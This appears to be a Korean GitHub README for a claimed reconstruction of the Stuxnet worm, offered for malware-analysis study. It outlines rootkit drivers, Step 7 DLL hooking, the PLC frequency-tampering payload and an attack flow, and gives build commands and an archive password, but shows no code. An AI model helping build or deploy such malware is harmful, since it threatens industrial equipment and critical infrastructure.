sadpainy/stuxnetStuxnet 웜의 교육용 재구성 버전으로, 악성코드 분석 및 방어 연구를 위해 제작되었습니다. 권한 상승, 루트킷 기능, 그리고 Siemens Step 7 및 S7 PLC를 대상으로 하는 PLC 페이로드 주입 모듈을 포함합니다.
이 저장소를 좋아해 주셔서 감사합니다. 이 저장소의 가치는 사람들이 수천 페이지에 달하는 지루하고 산발적인 보고서를 읽어야 하는 부담에서 벗어나게 해 준다는 데 있습니다. 그런 보고서는 막대한 시간과 에너지를 소모합니다. 이 저장소는 가독성이 높으며, 원본 버전을 맹목적으로 좇지 않고 일반 독자에 더 초점을 맞추고 있습니다.
이 저장소에는 악명 높은 Stuxnet 웜을 엄격히 교육 및 연구 목적으로 재구성한 것이 포함되어 있습니다. 이는 2010년에 발견된 원본 바이너리 샘플에 대해 전 세계 보안 연구 커뮤니티가 수행한 수많은 시간의 리버스 엔지니어링 작업의 산물입니다.
코드 품질 통과, 커버리지 성공, 클린 코드 검증 완료. 그러나 빌드는 불안정한 단계입니다.
경고: 이 코드는 오직 학술 연구, 악성코드 분석 교육, 방어적 연구를 위해서만 제공됩니다. 저자와 기여자는 불법적이거나 비윤리적인 활동을 용인하지 않습니다.
이는 어떠한 악의적인 목적으로도 사용될 의도가 없으며, 배포 가능한 악성코드도 아닙니다.
- 상태
개요
핵심 구성 요소
기술 아키텍처
빌드 지침
사용법
법적 고지 및 라이선스
감사의 말
# 상태
- 빌드: 불안정
- 클린 코드: 검증됨
- 코드 품질: 테스트 통과
- 커버리지: 우수
시간: 2026-10-17 06:00
세부 사항에서 원본에 더 가까운 버전과 클린 버전을 추가했습니다. 둘 다 알려진 단서만으로 완전히 빌드되었습니다. 파일 이름은 Reboot.zip이며 비밀번호는 _Stuxnet_입니다.
재구성 버전이 좋지 않다고 생각하신다면...
Stuxnet은 산업 제어 시스템(ICS)에 물리적 파괴를 일으키도록 설계된 최초의 알려진 사이버 무기로 널리 인정받고 있습니다. 이는 특히 Siemens Step 7 소프트웨어와 S7-300/400 PLC를 표적으로 삼았으며, 궁극적으로 주파수 변환기 드라이브를 조작하여 원심분리기 로터를 손상시켰습니다.
이 저장소는 디컴파일된 바이너리에서 파생된 재구성된 소스 코드입니다. 원본 로직과 공격 벡터를 보존하면서 코드베이스를 가독성과 분석에 적합하도록 구조화했습니다.
대상: Siemens SIMATIC WinCC, Step 7 및 S7 PLC.
전파: USB 드라이브 (LNK 익스플로잇), 네트워크 공유 (Print Spooler), 피어 투 피어(P2P).
페이로드: 모터 주파수를 변경하기 위한 PLC 블록 로직 (OB1/OB35) 수정.
은폐: 파일, 프로세스, 레지스트리 은닉을 위한 고급 루트킷 기능 (MRxCls.sys, MRxNet.sys).
저장소는 원본 악성코드 분석 중 식별된 주요 모듈별로 구성되어 있습니다.
winsta.exe, ~WTR4141.tmp~WTR4132.tmpWin32k.sys 취약점을 악용하여 시스템 수준 권한을 획득합니다.s7otbxdx.dlls7otbxsx.dll을 대체하는 악성 파일입니다. Step 7과 PLC 간의 통신을 가로챕니다.- 모듈: Step7 후킹 라이브러리
- 파일명:
s7aaapix.dll- 설명: Step 7 엔지니어링 환경 내에서 AUT(Automation Tool) API 호출을 가로챕니다.
mrxcls.sysmrxnet.sys- 모듈: 페이로드 (공격)
- 파일명:
s7plcmain- 설명: 원심분리기를 손상시키는 "주파수 변조" 공격을 담당하는 핵심 로직입니다.
다음은 Stuxnet 프레임워크의 상위 수준 실행 흐름을 설명합니다.
1단계: 초기 감염 경로 (USB/네트워크)
2단계: 드로퍼 및 권한 상승
3단계: 환경 확인
4a단계: 대상 발견 (Siemens 소프트웨어) -> S7 후크 설치
4b단계: 비대상 -> 자체 파괴/대기
5단계: PLC 쓰기 모니터링
6단계: OB1/OB35 쓰기 감지 -> 페이로드 주입
7단계: 주파수 출력 변조
8단계: 원심분리기에 대한 물리적 손상
9단계: 루트킷 설치 (MRxCls)
10단계: 파일 및 레지스트리 숨기기
11단계: 네트워크 모듈 로드 (MRxNet)
12단계: P2P 전파
실행 흐름
환경 정찰: 웜은 특정 Siemens 소프트웨어(WinCC, Step 7)와 특정 대상 PLC(S7-315, S7-417)의 존재 여부를 확인합니다.
DLL 주입: s7blk_write 함수 호출을 가로챕니다.
코드 주입: 사용자가 프로젝트를 PLC에 다운로드할 때 악성 코드가 OB1/OB35 블록에 추가됩니다.
물리적 영향: PLC가 조작된 코드를 실행하여 연결된 가변 주파수 드라이브(VFD)가 비정상적인 주파수(고/저)로 회전하게 되어 기계적 손상이 발생합니다.
중요: 이 코드베이스는 통제된 가상 환경에서의 정적 분석 및 디버깅을 위해 설계되었습니다. 어떠한 중요 인프라에도 실제 배포하는 것은 의도되지 않았습니다.
빌드 환경: Microsoft Visual Studio 2019/2022 (Windows) 또는 mingw-w64.
대상 OS: Windows XP / Windows 7 (드라이버 호환성).
드라이버 키트: Windows Driver Kit (WDK) 7600 (커널 드라이버 컴파일 시).
사용자 모드 모듈 빌드
저장소 복제
git clone https://github.com/Sadpainy/Stuxnet.git
cd Stuxnet
메인 드로퍼 빌드
cd Main
nmake /f Makefile.win
S7 후크 라이브러리 빌드
cd ../s7otbxdx
cl /LD s7otbxdx.dll.c user32.lib ws2_32.lib
이 코드는 다음을 위해 작성되었습니다:
악성코드 분석: 고급 지속적 위협(APT)에서 사용되는 특정 코드 로직을 이해합니다.
방어 연구: ICS 보안 도구용 탐지 시그니처(예: YARA 규칙, Snort 시그니처)를 개발합니다.
학술 연구: 사이버보안과 핵심 인프라 보호의 교차점을 검토합니다.
분석 환경 설정
환경 격리: Host-Only 네트워킹이 활성화된 가상 머신(VMWare/VirtualBox)을 사용합니다. 인터넷 연결을 비활성화합니다.
모듈 로드: IDA Pro, Ghidra 또는 x64dbg와 같은 도구를 사용하여 .dll 및 .sys 파일을 분석합니다.
활동 모니터링: Process Monitor(ProcMon), Process Hacker, Wireshark를 사용하여 동작을 관찰합니다.
이 프로젝트는 GNU Affero General Public License v3.0, LICENSE.Stuxnet (필독, 매우 중요), LICENSE.XOR (필독, 매우 중요), LICENSE.Detail, Apache License 2.0 및 LICENSE.Desktop에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.
No Disclaimer. That's on you to be self-aware.
이 연구와 재구성은 글로벌 사이버보안 업체들이 제공한 방대한 분석과 위협 인텔리전스 없이는 불가능했을 것입니다.
Symantec (W32.Stuxnet dossier)
Kaspersky Lab (The Stuxnet saga)
ESET (Stuxnet under the microscope)
Amr Thabet and Christian Roggia (research-virus/stuxnet)
This is an academic reconstruction. Use it to build stronger defenses, not to cause harm.
이 저장소를 좋아해 주셔서 감사합니다!